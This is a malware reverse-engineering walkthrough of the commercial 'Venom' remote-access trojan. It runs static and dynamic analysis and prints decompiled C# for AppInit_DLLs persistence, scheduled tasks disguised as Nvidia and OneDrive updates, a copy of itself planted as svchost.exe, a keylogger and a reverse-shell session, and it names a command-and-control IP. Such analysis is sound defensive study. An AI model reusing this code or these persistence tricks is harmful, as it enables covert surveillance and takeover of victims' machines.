The black parasite. We study the work of the Venom warrior

Introduction

Not so long ago, most news channels were flooded with news about the work of malicious software. There are many viruses to control the system and they are all very good at hiding and defending themselves from unwanted source code study. Developers are coming up with more and more sophisticated ways of protection and sometimes even experienced reverse engineers are baffled. But let's talk a little about something else. Usually, hacker groups are behind the creation of malware, which come up with their own version of malware so that the antivirus could not find it. And now I'll open your eyes and tell you that there are whole companies to create warriors for computer administration. Yes, this is not another typo, but a real fact. Let me use the example of a private company Venom Software to analyze their product with the obvious and loud name Venom.

Work plan

It is surprisingly very short and simple. I will try to explain to you how this type of malware works, what it does, where it transmits information and how it is fixed in the system. The entire demonstration will be conducted on the old version of the product, since I could not find a cracked and modern version of this beast. Let's start our journey as always with a static analysis of the PE file. Let's move smoothly to dynamic work and finish everything with the results of our work. What could be simpler?

Static analysis

So, according to tradition and from a prudent point of view, we will throw our file into DiE. He will dig a little into the headers, tell us what the application stands on and what libraries it imports. Take a look at the results.

So, according to tradition and from a prudent point of view, we will throw our file into DiE. He will dig a little into the headers, tell us what the application stands on and what libraries it imports. Take a look at the results.

First of all, the status bar catches the eye, which stopped at exactly 80% and the explanation is uncompressed. And these words are confirmed by sections. None of them has a body kit and any protection. A paradox! But let's not loosen our grip and move forward in the study of our virus.

After such manipulations, let's try to look at the import and export table. I will say in advance that I unfortunately did not find any functions for export. Well, for all this, let's use FileAlyzer. Below is his verdict on this.

Amazing. There is only one library in the table and, accordingly, one function. Let's get closer to our goal and try to open the curtain with the source code by looking at what actions our virus performs in the system. In order not to resort to dynamic analysis prematurely, I used the pestudio program and this is what came out of it.

From the table above, you can clearly see how our malware is trying to contact an unknown host and download individual files from it. Let's try to run this IP address through nmap and see if it is on the network at all. After a few minutes you will get something like this picture:



Code:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 19:33 MSK
Nmap scan report for ip 16.ip-91-134-207.eu (91.134.207.16)
Host is up.
All 1000 scanned ports on ip 16.ip-91-134-207.eu (91.134.207.16) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.18 seconds

Well, for the sake of persuasion, we will check by whois what kind of address it is in general. And it is located in France and unfortunately it will not be possible to collect a lot of information about it, so we will move on, well, below I left a log from the site with detailed information about the IP.



Code:

% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '91.134.207.16 - 91.134.207.31'

% Abuse contact for '91.134.207.16 - 91.134.207.31' is '[email protected]'

inetnum:        91.134.207.16 - 91.134.207.31
netname:        OVH_111463049
descr:          OVH Static IP
country:        FR
org:            ORG-HD37-RIPE
admin-c:        OTC2-RIPE
tech-c:         OTC2-RIPE
status:         ASSIGNED PA
mnt-by:         OVH-MNT
created:        2016-07-07T14:58:44Z
last-modified:  2016-07-07T14:58:44Z
source:         RIPE

% Information related to '91.134.0.0/16AS16276'

route:          91.134.0.0/16
origin:         AS16276
mnt-by:         OVH-MNT
created:        2016-04-15T11:43:03Z
last-modified:  2016-04-15T11:43:03Z
source:         RIPE
descr:          OVH

% This query was served by the RIPE Database Query Service version 1.103 (HEREFORD)

Switch to our favorite pestudio and look for something interesting in the rows tab. For example, our parasite uses the well-known ngrok program to go online and install wiretapping of the host. An extremely unusual find, especially considering all the circumstances. You can look at it yourself.

Venom also uses PowerShell for its own purposes. For some reason, it kills the process explorer.exe , he is everyone's favorite Internet Explorer and interacts with a couple of system processes, one of them is already familiar to you. So, such lines look extremely suspicious for such a virus. Who would think of working with an ancient browser, especially to kill it through the console. We have sorted out the address from the last 4 lines, so I will not dwell on them.

So, we know the basic information and the fact that the file is covered with something (you will notice this from the entropy since it costs 80%). Also, this idea is suggested by the fact that the import table consists of only one library and the function that is stored in it. Since we are working with a NET application, I decided to give the virus to the de4dot program. Before that, I mentioned it in articles as a good tool for dealing with NET Reactor. But as you understand, opening the reactor is only one of the functions of this utility. Launch our console and enter something like this command:

Code:

C:\path _ to _ utilities \de4dot.exe C:\path _ to _ virus\$77-Venom.exe

You can also import the repository from here directly into Visual Studio, build it and use the console version of the program without any problems.

Thus, the utility processes the file and creates the same one marked cleaned, which means cleaned. We throw the file into dotPeek and admire the result. Below I have placed a screenshot before decryption and after it.

As you understand, the virus has some kind of Chinese obfuscator. But he didn't stop us, so now you can study the whole code at the root. I'll just tell you about the main branches and what they are responsible for, so that it will be easier for you to navigate.

You can get acquainted with the fundamental functions of the virus, such as recording video, audio and collecting information in the xClient.Core branch.Packets.ClientPackets. They provide work from the infected machine, but the function next door is already responsible for work from the server side, it also has the name xClient.Core.Packets.ServerPackets. In order not to burn the connection in the system, Venom uses a built-in proxy, it can be seen in the name xClient.Core.ReverseProxy.Packets. Next comes the additional functionality. Payloads, keyloggers and stillers. You will appreciate all this in the Utilities function. I will analyze everything in detail later.

So, we have sorted out the static analysis. We have the source code and this was the end of our research, but let's still see what data the virus transmits and how it adapts to the system.

Dynamic analysis

First of all, I decided to make sure that the virus is really trying to contact a certain host. To do this, we use our favorite Wireshark. Unfortunately, I could not find anything related to our IP address, but when our virus starts, it sends information to a certain address. Let's try to filter it out and see what we get. To do this, I used the following filter:

Code:

ip.dst == 208.95.112.1

First of all, the computer establishes connections by sending the initial packet. Next comes the response from the server and the transmission of information over the HTTP protocol. Let's see what it contains. Right-click on the field with the protocol we are interested in. In the drop-down list of functions, select Follow -> HTTP. And as a result, we see that the virus sends our location and data about our browser. I wonder how it happened? In fact, everything is very simple. If you type this IP into the address bar, then the ip api will transfer us to the site. With its help, Venom pulls out all the information and sends it to the server.

The virus also adds the names of your computer to this for further transfer to the server. There is nothing else useful in the intercepted packets. Let's try our luck again and turn to TCPView. We launch our virus and switch to it in the program window. Right-click on the process and perform the whois function, thereby you will be provided with data on where and why the virus addresses. You can see an example of such work below.

And now our second clue has been found. Venom watches your device using the Bandicam screen recording program. Quite a well-known product. Now let's see what our virus imports during the period of activity. If everything was extremely simple on static analysis, one library and one function, then in the process of work the picture changes and the number of imported functions is much wider. Let's make sure of this using the Explorer Suite utility. In itself, it has a Task Explorer for tracking processes in real time. Let's run it and find our parasite. Next you will see something like this picture:

As you can see, in the process of working, vir loads libraries such as ntdll and wow. The most standard system files that can be found on the local disk. The program will not bring us more benefit than the source code. Let's just go back to it and see what useful information we can pull out.

Parsing the source code
So, even in the early stages, I showed you how to get to the source code of our virus. I hasten to inform you that the program contains several more useful files that we can pull out using ExtremeDumeper. To pull this whole thing off, you should run the dumper itself and the malware along with it. Then, using an intuitive interface, you think all this business is in a convenient place for you. It looks something like this:

As you have already noticed, we have two more PE files with fairly clear names. Let's throw them to our Faithful in dotPeek. The Install file itself, loading libraries, creates a file with a specific name. Its generation in the code looks like this:

C#:

public static void Install(bool is64bit)
    {
      string str1 = "x" + (is64bit ? 64 : 86).ToString() + ".dll";
      string str2 = Path.Combine(Path.GetTempPath(), "$77-" + Guid.NewGuid().ToString("N") + "-" + str1);
      File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "r77-" + str1), str2);
      new FileInfo(str2).Attributes |= FileAttributes.Temporary;
      using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, is64bit ? RegistryView.Registry64 : RegistryView.Registry32).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", true))
      {
        registryKey.SetValue("LoadAppInit_DLLs", (object) 1);
        registryKey.SetValue("RequireSignedAppInit_DLLs", (object) 0);
        registryKey.SetValue("AppInit_DLLs", (object) str2);
      }
    }

And as you may have noticed, the whole case is copied in our registry along the appropriate path. Of course, if you read the entire code carefully, you can understand that in this way the virus is fixed in the system for further evolution in rootkit. Well, it will be much more difficult to get such a parasite out of the system. In the resource branch, you can view the version of the libraries.

Let's move on to another curious file called Chrome. The main function contains a branch that loads the standard Windows libraries and is fixed in the system by creating a copy along the path: C:\\windows\\system32 . If you look closely at the names of the variables, you can see such names as payload, which speak for themselves. The malware is trying to survive in the system by all means. There is also everyone's favorite Thread.Sleep, which allows you not to burn if everything goes through one place. Well, the whole thing was compiled using Visual Studio version 16.5.0 from 2019. Although the most interesting thing begins in the CopyMySelf function on the Program branch. Here, the created payloads are glued together with known programs to hide traces of their presence in the system. Everything is done on behalf of the administrator and this is the confirmation in the code:

C#:

string str1 = "Onedrive-Standalone";
string sourceFileName1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "$77-Venom.exe");
string str2 = "Onedrive";
string path1 = "%AppData%\\Roaming";
string str3 = Path.Combine(path1, "Install.exe");
string str4 = Path.Combine(path1, "$77Install.exe");

Here we have copying to system folders, and then the malware checks for superuser rights. And if they exist, then such actions occur:

C#:

if (WindowsAccountHelper.GetAccountType() == "Admin")
      {
        try
        {
          string environmentVariable = Environment.GetEnvironmentVariable("SYSTEMROOT/tasks");
          string name = WindowsIdentity.GetCurrent().Name;
          Process.Start(new ProcessStartInfo()
          {
            FileName = "cmd",
            Arguments = "/k start /b powershell Cacls " + environmentVariable + " /e /t /g " + name + ":F  & exit",
            CreateNoWindow = true,
            WindowStyle = ProcessWindowStyle.Hidden,
            UseShellExecute = true,
            ErrorDialog = false
          });
          Process.Start(new ProcessStartInfo("schtasks")
          {
            Arguments = "/create /tn " + str2 + " /sc ONLOGON /tr \"" + sourceFileName1 + "\" /rl HIGHEST /f",
            UseShellExecute = false,
            CreateNoWindow = true
          }).WaitForExit(1000);
          Process.Start(new ProcessStartInfo("schtasks")
          {
            Arguments = "/create /tn " + str1 + " /sc ONLOGON /tr \"" + str4 + "\" /rl HIGHEST /f",
            UseShellExecute = false,
            CreateNoWindow = true
          }).WaitForExit(1000);
          string str5 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup), "$77Nvidia_Update.exe");
          string str6 = "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}";
          Process.Start(new ProcessStartInfo("schtasks")
          {
            Arguments = "/create /tn " + str6 + " /sc ONLOGON /tr \"" + str5 + "\" /rl HIGHEST /f",
            UseShellExecute = false,
            CreateNoWindow = true
          }).WaitForExit(1000);
        }

As you can see, the PowerShell shell is launched first and a number of commands are executed. Then, as always, another malicious process is launched and operations are performed directly with it. After that, the combination and creation of the Nvidia_Update process takes place. Of course, Radeon fans were unlucky in this case. Even svchost falls under the distribution.

C#:

string str10 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "svchost.exe");
        File.Copy(sourceFileName1, str10);
        Process.Start(new ProcessStartInfo()
        {
          WindowStyle = ProcessWindowStyle.Hidden,
          CreateNoWindow = true,
          UseShellExecute = false,
          FileName = str10
        });

I also recommend evaluating the keylogger. I talked about its location above and it records information in the format of the pressed key-hour:minutes. Below I have given a part of the code where all this is implemented.

C#:

private void onkeydown(object sender, KeyEventArgs e)
    {
      string input = GClass57.smethod_4();
      if (!string.IsNullOrEmpty(input) && input != this._lastWindowTitle)
      {
        this._lastWindowTitle = input;
        this._logFileBuffer.Append("<p class=\"h\"><br><br>[<b>" + GClass57.smethod_2(input) + " - " + DateTime.Now.ToString("HH:mm") + "</b>]</p><br>");
      }
      if (this._pressedKeys.IsModifierKeysSet() && !this._pressedKeys.Contains(e.KeyCode))
      {
        this._pressedKeys.Add(e.KeyCode);
      }
      else
      {
        if (e.KeyCode.IsExcludedKey() || this._pressedKeys.Contains(e.KeyCode))
          return;
        this._pressedKeys.Add(e.KeyCode);
      }
    }

In addition, the conversion of service keys such as space, esc and enter takes place. This happens in a separate switch container:

C#:

switch (strArray[index])
          {
            case "Return":
              stringBuilder1.Append("<p class=\"h\">[Enter]</p><br>");
              continue;
            case "Escape":
              stringBuilder1.Append("<p class=\"h\">[Esc]</p>");
              continue;
            default:
              stringBuilder1.Append("<p class=\"h\">[" + strArray[index] + "]</p>");
              continue;
          }

The data file is sent to the server in the format of the month of the day and year.

C#:

 string str = Path.Combine(Keylogger.LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));

The reverse Shell shell works slightly differently. When you turn it on, the first thing you specify is the desired encoding for the correct display of characters. All subsequent commands are executed with the /k flag, which means they are infinite. Simply put, they are executed without subsequent completion. You will find all this information in the session creation cycle. I have attached it below.

C#:

private void CreateSession()
    {
      lock (this._readLock)
        this._read = true;
      this._encoding = Encoding.GetEncoding(CultureInfo.InstalledUICulture.TextInfo.OEMCodePage);
      this._prc = new Process()
      {
        StartInfo = new ProcessStartInfo("cmd")
        {
          UseShellExecute = false,
          RedirectStandardInput = true,
          RedirectStandardOutput = true,
          RedirectStandardError = true,
          StandardOutputEncoding = this._encoding,
          StandardErrorEncoding = this._encoding,
          CreateNoWindow = true,
          WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
          Arguments = "/K"
        }
      };
      this._prc.Start();
      this.RedirectOutputs();
      this.ExecuteCommand("chcp " + this._encoding.CodePage.ToString());
      new DoShellExecuteResponse(Environment.NewLine + ">> New Session created" + Environment.NewLine).Execute((GClass18) Class5.gclass19_0);
    }

I left all the files for work for you at the end of the article, so if you are interested in repeating the steps from the article, then you can safely do it. Now let's smoothly move on to our conclusion, because we have gone all the way in studying this creature. It remains to find out the important points, which is what we are going to do now.

Summing up the results

So, in this article I tried to explain as clearly and intelligibly as possible how to reverse such a thing. Of course, it didn't come to disassembling, but in future articles I will enlighten you in this matter and show you how to deal with packers and obfuscators at the assembler level. Below is the same archive with files on which I worked.